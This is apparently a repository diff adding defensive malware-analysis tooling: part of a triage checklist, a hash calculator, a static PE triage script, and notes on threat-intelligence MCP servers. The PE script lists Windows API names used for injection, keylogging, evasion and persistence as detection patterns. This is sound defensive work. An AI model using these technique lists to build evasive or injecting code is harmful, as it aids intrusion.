- [ ] High (data theft, system compromise)
- [ ] Medium (limited functionality, targeted)
- [ ] Low (minimal impact, easily detected)
## Dynamic Analysis Decision
### Should I run dynamic analysis?
**YES, if:**
- Static analysis insufficient for understanding
- Need to confirm predicted behaviors
- Unknown/new sample requiring behavior observation
- Investigating specific functionality
- Creating behavioral signatures
**NO, if:**
- Clearly identified as known malware
- Destructive capabilities too risky
- Time constraints for quick triage
- Static analysis provides sufficient information
### Safe Execution Requirements
If proceeding with dynamic analysis:
- [ ] Isolated VM environment confirmed
- [ ] Network isolation configured (or monitoring ready)
- [ ] Snapshots taken
- [ ] Monitoring tools prepared (Process Monitor, Wireshark, etc.)
- [ ] Host system protected
- [ ] Backup and recovery plan ready
## Priority Assessment
### Immediate Priority (Analyze Now)
- Unknown samples with unclear threat level
- Samples matching recent threat intelligence
- Active incident-related samples
- Samples with destructive capabilities
- Targeted/APT-style malware
### Standard Priority (Normal Queue)
- Known malware variants
- Common commodity malware
- Samples with clear signatures
- Historical samples for research
### Low Priority (Defer if Needed)
- Clearly identified samples
- Adware/PUP with minimal impact
- Old/outdated malware
- Test files or false positives
## Initial Findings Summary Template
Use this template to document triage results:
```
## Triage Summary
**Sample:** [filename]
**Hashes:**
- MD5: [hash]
- SHA1: [hash]
- SHA256: [hash]
**File Type:** [type]
**Size:** [size]
**Packed:** [Yes/No - Packer name]
**Initial Classification:**
- Type: [Malware type]
- Threat Level: [Critical/High/Medium/Low]
- Sophistication: [Simple/Moderate/Advanced]
**Key Indicators:**
- [Notable finding 1]
- [Notable finding 2]
- [Notable finding 3]
**Predicted Behaviors:**
- [Expected behavior 1]
- [Expected behavior 2]
**Recommendation:**
[Proceed with full analysis / Quick report / Defer]
**Priority:** [Immediate/Standard/Low]
**Next Steps:**
1. [Action 1]
2. [Action 2]
```
## Common Triage Pitfalls
### Don't:
- Rush through hash calculation (always get all three)
- Skip online searches (leverage community intelligence)
- Assume packing means malicious (many legitimate software is packed)
- Execute without proper isolation
- Trust timestamps (easily forged)
- Overlook string encoding (Base64, hex, unicode)
- Ignore resource sections (often contain payloads)
### Do:
- Document everything immediately
- Use multiple analysis tools
- Verify findings with different methods
- Consider false positive possibilities
- Check for packer signatures before deep analysis
- Review import table carefully
- Look for anti-analysis techniques
- Consider file context (how obtained, where found)
## Time-Efficient Triage
For efficient time management:
**5-minute triage:**
- Calculate hashes
- Check online databases
- Run strings
- Check packer
**15-minute triage:**
- Above +
- PE header analysis
- Import table review
- Resource examination
- Quick prediction
**30-minute triage:**
- Above +
- Detailed strings analysis
- Preliminary YARA rule concepts
- Behavior prediction writeup
- Classification and prioritization
## Tools Quick Reference
**Hash Calculation:**
- `scripts/hash_calculator.py`
- CertUtil (Windows): `certutil -hashfile file.exe SHA256`
- sha256sum (Linux): `sha256sum file.exe`
**Online Databases:**
- VirusTotal: virustotal.com
- MalwareBazaar: bazaar.abuse.ch
- Hybrid Analysis: hybrid-analysis.com
- Any.Run: any.run
**Static Analysis:**
- PE analysis: pestudio, PEview, CFF Explorer
- Strings: strings.exe, FLOSS
- Hex editor: HxD, 010 Editor
- Packer detection: Detect It Easy (DIE), Exeinfo PE
**Quick Sandboxing:**
- Any.Run (interactive)
- Hybrid Analysis
- Joe Sandbox
- Cuckoo (self-hosted)

View File

@@ -0,0 +1,74 @@
#!/usr/bin/env python3
"""
Quick hash calculator for malware samples.
Calculates MD5, SHA1, and SHA256 hashes simultaneously.
"""
import hashlib
import sys
from pathlib import Path
def calculate_hashes(file_path):
"""
Calculate MD5, SHA1, and SHA256 hashes for a file.
Args:
file_path: Path to the file
Returns:
dict: Dictionary containing all three hashes
"""
md5 = hashlib.md5()
sha1 = hashlib.sha1()
sha256 = hashlib.sha256()
try:
with open(file_path, 'rb') as f:
# Read in chunks for memory efficiency
while chunk := f.read(8192):
md5.update(chunk)
sha1.update(chunk)
sha256.update(chunk)
return {
'md5': md5.hexdigest(),
'sha1': sha1.hexdigest(),
'sha256': sha256.hexdigest()
}
except (FileNotFoundError, PermissionError, IsADirectoryError, OSError) as e:
return {'error': str(e)}
def main():
if len(sys.argv) < 2:
print("Usage: python hash_calculator.py <file_path>")
sys.exit(1)
file_path = Path(sys.argv[1])
if not file_path.exists():
print(f"Error: File '{file_path}' not found")
sys.exit(1)
if not file_path.is_file():
print(f"Error: '{file_path}' is not a file")
sys.exit(1)
print(f"Calculating hashes for: {file_path}")
print(f"File size: {file_path.stat().st_size} bytes")
print("-" * 70)
hashes = calculate_hashes(file_path)
if 'error' in hashes:
print(f"Error calculating hashes: {hashes['error']}")
sys.exit(1)
print(f"MD5: {hashes['md5']}")
print(f"SHA1: {hashes['sha1']}")
print(f"SHA256: {hashes['sha256']}")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,684 @@
#!/usr/bin/env python3
"""
pe_info.py - one-shot static PE triage summary.
Runs entirely on the host against an exported/copied sample file. Never
executes the sample. Prints a plain-text triage report (or JSON with
--json) covering headers, sections, packing heuristics, imports/exports,
signature, resources, overlay, PDB path, version info, TLS callbacks and
rich header.
Usage:
python3 pe_info.py <path-to-pe> [--json]
Requires: pefile (pip install pefile)
"""
import sys
import os
import hashlib
import math
import json
import argparse
from datetime import datetime, timezone
try:
import pefile
except ImportError:
print("pefile is required: pip install pefile", file=sys.stderr)
sys.exit(2)
PACKER_SECTION_NAMES = {
"UPX0", "UPX1", ".THEMIDA", ".VMP0", ".VMP1", ".ASPACK",
".MPRESS1", ".ENIGMA1", ".PETITE", ".NSP0", ".UPACK",
}
SUBSYSTEM_NAMES = {
1: "NATIVE", 2: "GUI", 3: "CUI", 5: "OS2 CUI", 7: "POSIX CUI",
9: "WINDOWS CE GUI", 10: "EFI APPLICATION", 11: "EFI BOOT SERVICE DRIVER",
12: "EFI RUNTIME DRIVER", 13: "EFI ROM", 14: "XBOX",
16: "WINDOWS BOOT APPLICATION",
}
MACHINE_NAMES = {
0x14c: "x86", 0x8664: "x64", 0xaa64: "ARM64",
0x1c0: "ARM", 0x1c4: "ARM Thumb-2", 0x200: "IA64",
}
SUSPICIOUS_CATEGORIES = {
"injection": ["CreateRemoteThread", "WriteProcessMemory", "VirtualAllocEx",
"OpenProcess", "NtUnmapViewOfSection", "SetThreadContext",
"ResumeThread", "QueueUserAPC", "NtCreateThreadEx",
"RtlCreateUserThread"],
"keylogging": ["SetWindowsHookEx", "GetAsyncKeyState", "GetKeyState",
"GetForegroundWindow"],
"network": ["InternetOpen", "InternetOpenUrl", "InternetReadFile",
"HttpOpenRequest", "HttpSendRequest", "URLDownloadToFile",
"WSAStartup", "socket", "connect", "send", "recv",
"WinHttpOpen", "WinHttpConnect", "DnsQuery", "getaddrinfo",
"gethostbyname"],
"persistence": ["RegSetValueEx", "RegCreateKeyEx", "CreateService",
"StartService", "ChangeServiceConfig", "CoCreateInstance"],
"anti-analysis": ["IsDebuggerPresent", "CheckRemoteDebuggerPresent",
"NtQueryInformationProcess", "OutputDebugString",
"GetTickCount", "QueryPerformanceCounter", "FindWindow",
"GetLastInputInfo", "GetCursorPos", "GlobalMemoryStatusEx",
"GetSystemInfo", "EnumProcesses", "CreateToolhelp32Snapshot",
"Process32First", "Process32Next"],
"evasion": ["UpdateProcThreadAttribute", "VirtualProtect", "EtwEventWrite",
"AmsiScanBuffer", "AmsiScanString", "NtTraceEvent",
"AddVectoredExceptionHandler"],
"crypto": ["CryptEncrypt", "CryptDecrypt", "CryptAcquireContext",
"CryptGenKey", "CryptHashData", "BCryptEncrypt", "BCryptDecrypt",
"CryptImportKey"],
"file-ops": ["CreateFile", "WriteFile", "DeleteFile", "MoveFile",
"CopyFile", "FindFirstFile", "FindNextFile", "SetFileAttributes"],
"execution": ["CreateProcess", "ShellExecute", "WinExec", "system",
"CreateProcessAsUser", "CreateProcessWithLogon"],
"callback-exec": ["EnumChildWindows", "EnumDesktopWindows",
"CreateTimerQueueTimer", "EnumSystemLocales",
"EnumTimeFormatsEx", "SetTimer", "TpAllocWork"],
"dynamic-loading": ["LoadLibrary", "LoadLibraryEx", "GetProcAddress",
"LdrLoadDll"],
}
INJECTION_APIS = {n.lower() for n in SUSPICIOUS_CATEGORIES["injection"]}
DYNLOAD_APIS = {n.lower() for n in SUSPICIOUS_CATEGORIES["dynamic-loading"]}
def norm_api_name(name: str) -> str:
"""Normalize a WinAPI import name for matching: strip stdcall decoration
(@N / leading _), strip a trailing Ansi/Wide 'A'/'W' suffix, lowercase."""
n = name.strip()
if n.startswith("_"):
n = n[1:]
if "@" in n:
n = n.split("@")[0]
if len(n) > 1 and n[-1] in ("A", "W") and n[-2].isalpha():
n = n[:-1]
return n.lower()
CATEGORY_LOOKUP = {}
for _cat, _names in SUSPICIOUS_CATEGORIES.items():
for _n in _names:
CATEGORY_LOOKUP.setdefault(norm_api_name(_n), []).append(_cat)
def shannon_entropy(data: bytes) -> float:
if not data:
return 0.0
freq = [0] * 256
for b in data:
freq[b] += 1
length = len(data)
entropy = 0.0
for f in freq:
if f:
p = f / length
entropy -= p * math.log2(p)
return entropy
def hash_file(path: str):
md5, sha1, sha256 = hashlib.md5(), hashlib.sha1(), hashlib.sha256()
with open(path, "rb") as f:
for chunk in iter(lambda: f.read(1 << 20), b""):
md5.update(chunk)
sha1.update(chunk)
sha256.update(chunk)
return md5.hexdigest(), sha1.hexdigest(), sha256.hexdigest()
def decode(b):
if b is None:
return None
if isinstance(b, bytes):
return b.rstrip(b"\x00").decode(errors="replace")
return str(b)
class Report:
"""Collects text lines + a parallel structured dict for --json."""
def __init__(self):
self.lines = []
self.data = {}
def h(self, title):
self.lines.append("")
self.lines.append(f"=== {title} ===")
def p(self, text=""):
self.lines.append(text)
def fail(self, section, err):
self.lines.append(f"section failed: {err}")
self.data.setdefault("errors", {})[section] = str(err)
def section_file_info(pe, path, rpt: Report):
rpt.h("File")
size = os.path.getsize(path)
md5, sha1, sha256 = hash_file(path)
with open(path, "rb") as f:
data = f.read()
entropy = shannon_entropy(data)
try:
imphash = pe.get_imphash()
except Exception as e:
imphash = f"n/a ({e})"
magic = pe.OPTIONAL_HEADER.Magic
pe_type = "PE32+" if magic == 0x20B else "PE32" if magic == 0x10B else f"unknown (0x{magic:x})"
machine_val = pe.FILE_HEADER.Machine
machine = MACHINE_NAMES.get(machine_val, f"0x{machine_val:x}")
subsys_val = pe.OPTIONAL_HEADER.Subsystem
subsystem = SUBSYSTEM_NAMES.get(subsys_val, f"0x{subsys_val:x}")
is_dll = pe.is_dll()
kind = "DLL" if is_dll else "EXE"
com_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[
pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR"]
]
is_dotnet = com_dir.VirtualAddress != 0
ts = pe.FILE_HEADER.TimeDateStamp
ts_flag = ""
try:
ts_dt = datetime.fromtimestamp(ts, tz=timezone.utc)
now = datetime.now(tz=timezone.utc)
if ts_dt > now:
ts_flag = " [FLAG: timestamp is in the future]"
if is_dotnet:
ts_flag += " (normal for .NET deterministic builds: field holds a hash, not a date)"
elif ts_dt.year < 2000:
ts_flag = " [FLAG: timestamp before year 2000]"
ts_str = ts_dt.isoformat()
except (OverflowError, OSError, ValueError):
ts_str = f"invalid raw value 0x{ts:x}"
ts_flag = " [FLAG: unparsable timestamp]"
rpt.p(f"Path: {path}")
rpt.p(f"Size: {size} bytes")
rpt.p(f"MD5: {md5}")
rpt.p(f"SHA1: {sha1}")
rpt.p(f"SHA256: {sha256}")
rpt.p(f"Entropy: {entropy:.2f} (whole file)")
rpt.p(f"Imphash: {imphash}")
rpt.p(f"Format: {pe_type}, machine={machine}, subsystem={subsystem}, {kind}")
rpt.p(f".NET: {'YES - route to specialized-file-analyzer' if is_dotnet else 'no'}")
rpt.p(f"Compiled: {ts_str}{ts_flag}")
rpt.p(f"Linker: {pe.OPTIONAL_HEADER.MajorLinkerVersion}.{pe.OPTIONAL_HEADER.MinorLinkerVersion}")
rpt.data["file"] = {
"path": path, "size": size, "md5": md5, "sha1": sha1, "sha256": sha256,
"entropy": round(entropy, 2), "imphash": imphash, "pe_type": pe_type,
"machine": machine, "subsystem": subsystem, "is_dll": is_dll,
"is_dotnet": is_dotnet, "compile_time_utc": ts_str,
"linker_version": f"{pe.OPTIONAL_HEADER.MajorLinkerVersion}.{pe.OPTIONAL_HEADER.MinorLinkerVersion}",
}
return is_dotnet
def section_sections(pe, rpt: Report):
rpt.h("Sections")
ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint
ep_section = pe.get_section_by_rva(ep)
ep_name = decode(ep_section.Name) if ep_section else None
rows = []
header = f"{'Name':<10} {'VirtSize':>10} {'RawSize':>10} {'Entropy':>8} {'Flags':>6} Notes"
rpt.p(header)
rpt.p("-" * len(header))
for i, sec in enumerate(pe.sections):
name = decode(sec.Name)
vsize = sec.Misc_VirtualSize
rsize = sec.SizeOfRawData
try:
ent = sec.get_entropy()
except Exception:
ent = 0.0
chars = sec.Characteristics
flags = ""
flags += "R" if chars & 0x40000000 else "-"
flags += "W" if chars & 0x80000000 else "-"
flags += "X" if chars & 0x20000000 else "-"
notes = []
packer_hit = name.strip().upper() in PACKER_SECTION_NAMES
high_entropy = ent > 7.0
if packer_hit or high_entropy:
notes.append("!")
if name == ep_name and ep_section is not None:
notes.append("[ENTRY POINT]")
rows.append({
"name": name, "virtual_size": vsize, "raw_size": rsize,
"entropy": round(ent, 2), "flags": flags,
"packer_name_match": packer_hit, "high_entropy": high_entropy,
})
rpt.p(f"{name:<10} {vsize:>10} {rsize:>10} {ent:>8.2f} {flags:>6} {' '.join(notes)}")
if ep_section is None:
rpt.p("WARNING: entry point RVA does not resolve to any section")
else:
if ep_name not in (".text", "CODE"):
rpt.p(f"WARNING: entry point is in section '{ep_name}', not .text/CODE")
if pe.sections and ep_section is pe.sections[-1]:
rpt.p(f"WARNING: entry point is in the LAST section ('{ep_name}') - common packer stub pattern")
rpt.data["sections"] = rows
return rows
def section_packing_verdict(pe, rpt: Report, overall_entropy, sections, total_imports, kernel32_only_loader_pattern, is_dotnet=False):
rpt.h("Packing verdict")
reasons = []
if overall_entropy > 7.0:
reasons.append(f"overall file entropy {overall_entropy:.2f} > 7.0")
exec_high = [s for s in sections if "X" in s["flags"] and s["entropy"] > 6.8]
if exec_high:
names = ", ".join(s["name"] for s in exec_high)
reasons.append(f"executable section entropy > 6.8 in: {names}")
if is_dotnet:
rpt.p("Note: .NET assembly - import-table heuristics skipped (managed code resolves calls via CLR metadata).")
else:
if total_imports < 10:
reasons.append(f"only {total_imports} imported functions total")
if kernel32_only_loader_pattern:
reasons.append("imports are only from KERNEL32 with a LoadLibrary/GetProcAddress/VirtualAlloc/VirtualProtect pattern")
if reasons:
rpt.p("Likely packed. Reasons:")
for r in reasons:
rpt.p(f" - {r}")
else:
rpt.p("No strong packing indicators.")
rpt.data["packing_verdict"] = {"likely_packed": bool(reasons), "reasons": reasons}
def section_imports(pe, rpt: Report):
rpt.h("Imports")
total = 0
category_hits = {}
dll_names = set()
kernel32_functions = set()
all_dll_only_kernel32 = True
if hasattr(pe, "DIRECTORY_ENTRY_IMPORT"):
for entry in pe.DIRECTORY_ENTRY_IMPORT:
dll = decode(entry.dll) or "?"
dll_names.add(dll.lower())
if dll.lower() != "kernel32.dll":
all_dll_only_kernel32 = False
names = []
for imp in entry.imports:
total += 1
fname = decode(imp.name) if imp.name else f"ordinal#{imp.ordinal}"
names.append(fname)
if dll.lower() == "kernel32.dll" and imp.name:
kernel32_functions.add(norm_api_name(fname))
if imp.name:
cats = CATEGORY_LOOKUP.get(norm_api_name(fname))
if cats:
for c in cats:
category_hits.setdefault(c, set()).add(fname)
rpt.p(f"{dll} ({len(names)} functions):")
rpt.p(" " + ", ".join(names))
else:
rpt.p("No import table.")
rpt.p("")
rpt.p("Suspicious imports by category:")
if category_hits:
for cat in sorted(category_hits):
names = ", ".join(sorted(category_hits[cat]))
rpt.p(f" {cat}: {names}")
else:
rpt.p(" none matched")
loader_pattern = {"loadlibrary", "getprocaddress", "virtualalloc", "virtualprotect"}
kernel32_loader_pattern = (
dll_names == {"kernel32.dll"} and loader_pattern.issubset(kernel32_functions)
)
# delay-load imports
rpt.p("")
rpt.p("Delay-load imports:")
if hasattr(pe, "DIRECTORY_ENTRY_DELAY_IMPORT") and pe.DIRECTORY_ENTRY_DELAY_IMPORT:
for entry in pe.DIRECTORY_ENTRY_DELAY_IMPORT:
dll = decode(entry.dll) or "?"
names = [decode(i.name) if i.name else f"ordinal#{i.ordinal}" for i in entry.imports]
rpt.p(f" {dll} ({len(names)}): {', '.join(names)}")
else:
rpt.p(" none")
# exports
rpt.p("")
rpt.p("Exports:")
exports = []
if hasattr(pe, "DIRECTORY_ENTRY_EXPORT"):
for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols[:50]:
exports.append(decode(sym.name) if sym.name else f"ordinal#{sym.ordinal}")
rpt.p(" " + ", ".join(exports) if exports else " (export directory present, no symbols)")
total_exports = len(pe.DIRECTORY_ENTRY_EXPORT.symbols)
if total_exports > 50:
rpt.p(f" ... ({total_exports} total, showing first 50)")
else:
rpt.p(" none")
rpt.data["imports"] = {
"total_functions": total,
"categories": {k: sorted(v) for k, v in category_hits.items()},
"exports_count": len(exports),
}
return total, kernel32_loader_pattern
def section_signature(pe, rpt: Report):
rpt.h("Signature")
sec_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[
pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_SECURITY"]
]
present = sec_dir.VirtualAddress != 0 and sec_dir.Size != 0
rpt.p(f"Authenticode directory present: {'yes' if present else 'no'} (size={sec_dir.Size})")
rpt.p("Not verifying signature here - verify with `osslsigncode verify` or `signtool verify`.")
rpt.data["signature"] = {"present": present, "size": sec_dir.Size}
def section_resources(pe, rpt: Report):
rpt.h("Resources")
if not hasattr(pe, "DIRECTORY_ENTRY_RESOURCE"):
rpt.p("No resource directory.")
rpt.data["resources"] = {"count": 0}
return
leaves = []
has_manifest = False
def type_name(entry):
if entry.name is not None:
return decode(entry.name.string) if hasattr(entry.name, "string") else str(entry.name)
rid = entry.struct.Id
name = None
try:
name = pefile.RESOURCE_TYPE.get(rid)
except Exception:
name = None
return name or f"RT_UNKNOWN_{rid}"
for res_type in pe.DIRECTORY_ENTRY_RESOURCE.entries:
tname = type_name(res_type)
if tname == "RT_MANIFEST":
has_manifest = True
if not hasattr(res_type, "directory"):
continue
for res_id in res_type.directory.entries:
if not hasattr(res_id, "directory"):
continue
for res_lang in res_id.directory.entries:
if not hasattr(res_lang, "data"):
continue
rva = res_lang.data.struct.OffsetToData
size = res_lang.data.struct.Size
leaves.append((tname, rva, size))
rpt.p(f"Total resource entries: {len(leaves)}")
rpt.p(f"MANIFEST present: {'yes' if has_manifest else 'no'}")
type_counts = {}
for tname, _, _ in leaves:
type_counts[tname] = type_counts.get(tname, 0) + 1
for tname, count in sorted(type_counts.items()):
rpt.p(f" {tname}: {count}")
rpt.p("Entries larger than 4KB:")
large_found = False
large_entries = []
for tname, rva, size in leaves:
if size > 4096:
large_found = True
try:
data = pe.get_data(rva, size)
ent = shannon_entropy(data)
except Exception as e:
ent = None
flag = " [FLAG: possible embedded payload]" if (ent is not None and ent > 7.0) else ""
ent_str = f"{ent:.2f}" if ent is not None else "n/a"
rpt.p(f" {tname}: {size} bytes, entropy={ent_str}{flag}")
large_entries.append({"type": tname, "size": size, "entropy": ent})
if not large_found:
rpt.p(" none")
rpt.data["resources"] = {
"count": len(leaves), "has_manifest": has_manifest,
"type_counts": type_counts, "large_entries": large_entries,
}
def section_overlay(pe, rpt: Report, path):
rpt.h("Overlay")
try:
overlay_offset = pe.get_overlay_data_start_offset()
except Exception:
overlay_offset = None
if overlay_offset is None:
rpt.p("No overlay.")
rpt.data["overlay"] = {"size": 0}
return
file_size = os.path.getsize(path)
size = file_size - overlay_offset
rpt.p(f"Overlay size: {size} bytes (starts at offset 0x{overlay_offset:x})")
guess = "unknown"
head = b""
if size > 0:
with open(path, "rb") as f:
f.seek(overlay_offset)
head = f.read(8)
hex_head = head.hex()
rpt.p(f"First 8 bytes: {hex_head}")
if head[:2] == b"PK":
guess = "PK zip (possible appended archive/installer payload)"
elif head[:2] == b"MZ":
guess = "MZ (possible embedded PE)"
elif head[:6] == b"7z\xbc\xaf\x27\x1c":
guess = "7z archive"
elif head[:4] == b"UPX!":
guess = "UPX marker"
elif b"NullsoftInst" in head:
guess = "NSIS installer marker"
elif b"Inno Setup" in head:
guess = "Inno Setup marker"
else:
sec_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[
pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_SECURITY"]
]
if sec_dir.VirtualAddress == overlay_offset:
guess = "Authenticode certificate table (not a separate overlay payload)"
rpt.p(f"Guess: {guess}")
rpt.data["overlay"] = {"size": size, "offset": overlay_offset, "first_bytes": head.hex(), "guess": guess}
def section_pdb(pe, rpt: Report):
rpt.h("PDB")
pdb_path = None
if hasattr(pe, "DIRECTORY_ENTRY_DEBUG"):
for dbg in pe.DIRECTORY_ENTRY_DEBUG:
entry = getattr(dbg, "entry", None)
if entry is not None and hasattr(entry, "PdbFileName"):
pdb_path = decode(entry.PdbFileName)
break
rpt.p(f"PDB path: {pdb_path if pdb_path else 'none found'}")
rpt.data["pdb_path"] = pdb_path
def section_version_info(pe, rpt: Report, path):
rpt.h("Version info")
fields = {}
if hasattr(pe, "FileInfo"):
for fileinfo_list in pe.FileInfo:
for entry in fileinfo_list:
if getattr(entry, "Key", None) == b"StringFileInfo":
for st in entry.StringTable:
for k, v in st.entries.items():
fields[decode(k)] = decode(v)
wanted = ["CompanyName", "ProductName", "OriginalFilename", "FileDescription", "FileVersion"]
any_found = False
for w in wanted:
if w in fields:
any_found = True
rpt.p(f"{w}: {fields[w]}")
if not any_found:
rpt.p("No version info resource found.")
orig = fields.get("OriginalFilename")
if orig and orig.lower() != os.path.basename(path).lower():
rpt.p(f"WARNING: OriginalFilename ('{orig}') does not match actual filename ('{os.path.basename(path)}')")
rpt.data["version_info"] = fields
def section_tls(pe, rpt: Report):
rpt.h("TLS callbacks")
if not hasattr(pe, "DIRECTORY_ENTRY_TLS") or pe.DIRECTORY_ENTRY_TLS is None:
rpt.p("No TLS directory.")
rpt.data["tls_callbacks"] = 0
return
cb_rva = pe.DIRECTORY_ENTRY_TLS.struct.AddressOfCallBacks
if not cb_rva:
rpt.p("TLS directory present but no callbacks.")
rpt.data["tls_callbacks"] = 0
return
image_base = pe.OPTIONAL_HEADER.ImageBase
is_64 = pe.OPTIONAL_HEADER.Magic == 0x20B
read_ptr = pe.get_qword_at_rva if is_64 else pe.get_dword_at_rva
cb_va = cb_rva - image_base if cb_rva > image_base else cb_rva
count = 0
try:
for i in range(100):
ptr = read_ptr(cb_va + i * (8 if is_64 else 4))
if not ptr:
break
count += 1
except Exception:
pass
rpt.p(f"TLS callback count: {count}{' [FLAG: possible anti-debug via TLS callback]' if count else ''}")
rpt.data["tls_callbacks"] = count
def section_rich_header(pe, rpt: Report):
rpt.h("Rich header")
rich = getattr(pe, "RICH_HEADER", None)
if rich is None:
rpt.p("No Rich header.")
rpt.data["rich_header"] = {"present": False}
return
values = getattr(rich, "values", []) or []
compiler_ids = len(values) // 2
rpt.p(f"Rich header present: yes ({compiler_ids} compiler-id entries)")
rpt.data["rich_header"] = {"present": True, "compiler_id_count": compiler_ids}
def analyze(path, as_json):
rpt = Report()
try:
pe = pefile.PE(path, fast_load=True)
except pefile.PEFormatError as e:
print(f"Not a valid PE file: {e}", file=sys.stderr)
return 1
except Exception as e:
print(f"Failed to open file: {e}", file=sys.stderr)
return 1
try:
pe.parse_data_directories()
except Exception as e:
rpt.p(f"warning: parse_data_directories partially failed: {e}")
with open(path, "rb") as f:
overall_entropy = shannon_entropy(f.read())
is_dotnet = False
try:
is_dotnet = bool(section_file_info(pe, path, rpt))
except Exception as e:
rpt.fail("file", e)
sections = []
try:
sections = section_sections(pe, rpt)
except Exception as e:
rpt.fail("sections", e)
total_imports = 0
kernel32_loader_pattern = False
try:
total_imports, kernel32_loader_pattern = section_imports(pe, rpt)
except Exception as e:
rpt.fail("imports", e)
try:
section_packing_verdict(pe, rpt, overall_entropy, sections, total_imports, kernel32_loader_pattern, is_dotnet)
except Exception as e:
rpt.fail("packing_verdict", e)
try:
section_signature(pe, rpt)
except Exception as e:
rpt.fail("signature", e)
try:
section_resources(pe, rpt)
except Exception as e:
rpt.fail("resources", e)
try:
section_overlay(pe, rpt, path)
except Exception as e:
rpt.fail("overlay", e)
try:
section_pdb(pe, rpt)
except Exception as e:
rpt.fail("pdb", e)
try:
section_version_info(pe, rpt, path)
except Exception as e:
rpt.fail("version_info", e)
try:
section_tls(pe, rpt)
except Exception as e:
rpt.fail("tls", e)
try:
section_rich_header(pe, rpt)
except Exception as e:
rpt.fail("rich_header", e)
if as_json:
print(json.dumps(rpt.data, indent=2, default=str))
else:
print("\n".join(rpt.lines))
return 0
def main():
parser = argparse.ArgumentParser(description="Static PE triage summary (never executes the sample).")
parser.add_argument("path", help="Path to the PE file to analyze")
parser.add_argument("--json", action="store_true", help="Output JSON instead of plain text")
args = parser.parse_args()
if not os.path.isfile(args.path):
print(f"No such file: {args.path}", file=sys.stderr)
sys.exit(1)
sys.exit(analyze(args.path, args.json))
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,267 @@
# MCP Server Integrations for Malware Analysis
Optional MCP (Model Context Protocol) servers that accelerate the analysis workflow. These are **not dependencies** — every skill works without them. But they eliminate manual steps like copy-pasting hashes into browser tabs or exporting IOCs by hand.
## Quick Setup
MCP servers are configured in your Claude Code settings (`~/.claude/settings.json`) or Claude Desktop config. Each requires an API key set as an environment variable.
```json
{
"mcpServers": {
"virustotal": {
"command": "npx",
"args": ["-y", "@burtthecoder/mcp-virustotal"],
"env": { "VIRUSTOTAL_API_KEY": "your-key" }
}
}
}
```
---
## Recommended MCP Servers
### 1. VirusTotal MCP Server
**What it does:** Query VirusTotal for file hashes, URLs, domains, and IP addresses directly from Claude — no browser needed.
**GitHub:** [BurtTheCoder/mcp-virustotal](https://github.com/BurtTheCoder/mcp-virustotal)
**Tools provided:**
- File hash analysis (MD5/SHA1/SHA256) — detection results, behaviors, network connections, dropped files, threat actors
- URL analysis — security scan results, contacted domains/IPs, redirects
- Domain analysis — DNS records, WHOIS, SSL certificates, subdomains, historical data
- IP analysis — geolocation, reputation, communicating files, historical certificates
**Which skills benefit:**
| Skill | How It Helps |
|-------|-------------|
| **malware-triage** | Automates the reputation check phase — paste a hash and get detection rates, family name, first-seen date, community comments instantly instead of opening VirusTotal in a browser |
| **malware-dynamic-analysis** | Look up C2 IPs and domains observed during execution to check if they're already known malicious |
| **detection-engineer** | Validate IOCs against VT before including in rules — confirm IPs/domains are still active and associated with the threat |
| **malware-report-writer** | Pull detection rates and threat actor associations for the report's sample information section |
**Setup:**
```json
{
"mcpServers": {
"virustotal": {
"command": "npx",
"args": ["-y", "@burtthecoder/mcp-virustotal"],
"env": {
"VIRUSTOTAL_API_KEY": "your-api-key"
}
}
}
}
```
**API key:** Free tier at [virustotal.com](https://www.virustotal.com/) (4 lookups/min, 500/day). Premium for higher limits.
---
### 2. Threat.Zone MCP Server
**What it does:** Submit files and URLs to Threat.Zone's sandbox for automated malware analysis — sandbox execution, static analysis, and CDR (Content Disarm and Reconstruction).
**GitHub:** [threat-zone/threatzonemcp](https://github.com/threat-zone/threatzonemcp)
**Tools provided:**
- `scan_file_sandbox` — Submit files for sandbox analysis with full configuration (environment, timeout, internet, HTTPS inspection, modules)
- `scan_file_sandbox_simple` — Quick sandbox submission with defaults
- `scan_file_static` — Static analysis submission
- `scan_file_cdr` — Content Disarm and Reconstruction
- Network activity retrieval — DNS queries, HTTP/TCP/UDP requests, network threats
- Artifact and IOC retrieval from analysis results
- Config extractor results
- HTML report generation
**Which skills benefit:**
| Skill | How It Helps |
|-------|-------------|
| **malware-triage** | Submit samples for quick automated analysis when you don't have time for manual VM execution |
| **malware-dynamic-analysis** | Supplements local VM analysis — compare your findings with Threat.Zone's sandbox results |
| **specialized-file-analyzer** | Submit Office docs, PDFs, scripts for automated detonation without manual tool setup |
| **detection-engineer** | Pull network IOCs (DNS, HTTP, TCP) directly from sandbox results to feed into Sigma/Suricata rules |
**Setup:**
```bash
pip install threatzonemcp
```
```json
{
"mcpServers": {
"threatzone": {
"command": "python",
"args": ["-m", "threatzonemcp"],
"env": {
"THREATZONE_API_KEY": "your-api-key"
}
}
}
}
```
**API key:** Register at [threat.zone](https://app.threat.zone/)
---
### 3. Threat Intel MCP Server (Multi-Source)
**What it does:** Unified access to multiple threat intelligence feeds — AlienVault OTX, AbuseIPDB, GreyNoise, and abuse.ch platforms (URLhaus, MalwareBazaar, ThreatFox, Feodo Tracker).
**GitHub:** [aplaceforallmystuff/mcp-threatintel](https://github.com/aplaceforallmystuff/mcp-threatintel)
**Tools provided:**
- **AbuseIPDB** — IP reputation scores, abuse reports, confidence ratings
- **GreyNoise** — Distinguish internet background noise from targeted attacks
- **URLhaus** — Malicious URL lookups (abuse.ch)
- **MalwareBazaar** — Malware sample lookups by hash (abuse.ch)
- **ThreatFox** — IOC lookups across the ThreatFox database (abuse.ch)
- **Feodo Tracker** — Botnet C2 infrastructure tracking (no auth required)
- **AlienVault OTX** — Pulse and indicator lookups
**Which skills benefit:**
| Skill | How It Helps |
|-------|-------------|
| **malware-triage** | Cross-reference hashes against MalwareBazaar and ThreatFox alongside VirusTotal for broader coverage |
| **malware-dynamic-analysis** | Check C2 IPs against AbuseIPDB and GreyNoise to assess whether traffic is targeted or background noise |
